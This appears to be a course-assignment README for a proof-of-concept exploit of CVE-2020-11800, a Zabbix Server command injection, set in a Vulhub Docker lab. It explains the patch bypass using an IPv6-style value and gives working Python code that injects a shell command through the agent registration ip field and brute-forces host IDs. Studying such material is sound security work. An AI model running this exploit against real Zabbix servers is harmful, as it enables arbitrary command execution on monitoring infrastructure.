ycseo-git/cve-2020-11800PoC exploit for CVE-2020-11800, a command injection in Zabbix Server via malicious agent auto-registration, with Python-based payload delivery and host ID brute-forcing.
Sections required by the assignment guidelines are marked with “(Required)”.
This environment uses a custom Dockerfile based on the vulnerable Zabbix Server image provided by Vulhub.
FROM vulhub/zabbix:3.0.3-server
The Dockerfile builds a local image using the vulnerable Zabbix 3.0.3 server environment. No additional packages or configuration were added during the build process.
The vulnerable environment is configured using Docker Compose.
The environment consists of four services:
The server service is built locally using the Dockerfile:
server:
build: .
image: cve-2020-11800-server
The MySQL container automatically imports SQL initialization files from the src/ directory using volume mounting:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
This allows the database schema and initial Zabbix data to be loaded automatically when the container starts.
The environment operates using the following structure:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Provides the web-based management interface accessible through the browser.
The administrator configures auto-registration and executes monitoring-related operations through this interface.
The core component responsible for:
The command injection vulnerability is triggered inside this container.
Acts as a monitored host and communicates with the Zabbix Server.
The exploit abuses the auto-registration mechanism during the agent registration process.
Stores Zabbix configuration data, host information, and monitoring-related data.
| Service | Image | Version |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
The environment is based on the vulnerable Zabbix 3.0.3 environment provided by Vulhub.
CVE-2020-11800 is a command injection vulnerability in the Zabbix Server Active Proxy Trapper functionality.
The vulnerability exists because the patch for CVE-2017-2824 was incomplete. An attacker can bypass the original patch using an IPv6-style payload and execute arbitrary commands on the Zabbix Server.
The vulnerability is triggered during the auto-registration process when the server processes user-controlled host information.
The root cause of the vulnerability is the unsafe handling of user-controlled input inside shell commands.
During script execution, Zabbix Server uses the registered host IP value to construct commands such as:
ping <host_ip>
Under normal conditions:
ping 127.0.0.1
However, if an attacker registers a host using the following payload:
ffff:::;touch /tmp/success2
the final command executed by the shell becomes:
ping ffff:::;touch /tmp/success2
Because the semicolon (;) acts as a shell command separator, the shell interprets the input as two separate commands:
ping ffff:::
touch /tmp/success2
As a result, arbitrary command execution becomes possible.
The original patch for CVE-2017-2824 attempted to restrict malicious input values.
However, the validation logic did not properly handle IPv6-style input.
The payload:
ffff:::;touch /tmp/success2
uses an IPv6-like prefix (ffff:::) to bypass the existing validation logic while still injecting shell metacharacters.
This allows attackers to bypass the previous patch and continue exploiting the command injection vulnerability.
The exploit process occurs in the following order:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
The attacker first sends a malicious auto-registration request containing a crafted IP field.
After the host is registered, the Zabbix Server executes a monitoring script using the stored host IP value.
During this process, the malicious payload is interpreted by the shell, leading to arbitrary command execution.
The exploit allows attackers to execute arbitrary commands with the privileges of the Zabbix Server process.
In this environment, successful exploitation created the following file inside the server container:
/tmp/success2
This confirms that injected shell commands were executed successfully.
In a real environment, successful exploitation could allow attackers to:
The vulnerability is particularly dangerous because monitoring servers often have visibility into multiple internal systems and infrastructure components.
The Proof of Concept (PoC) was written in Python and communicates directly with the Zabbix Server over TCP port 10051.
The PoC performs the following actions:
hostid valuesimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
The payload used in this PoC is:
ffff:::;touch /tmp/success2
| Part | Purpose |
|---|---|
ffff::: | IPv6-like prefix used for validation bypass |
; | Shell command separator |
touch /tmp/success2 | Arbitrary command executed on the server |
The payload abuses the fact that the server improperly concatenates user-controlled IP values into shell commands.
The payload is delivered through the ip field during the auto-registration process.
The first request sent by the PoC attempts to register a malicious host.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}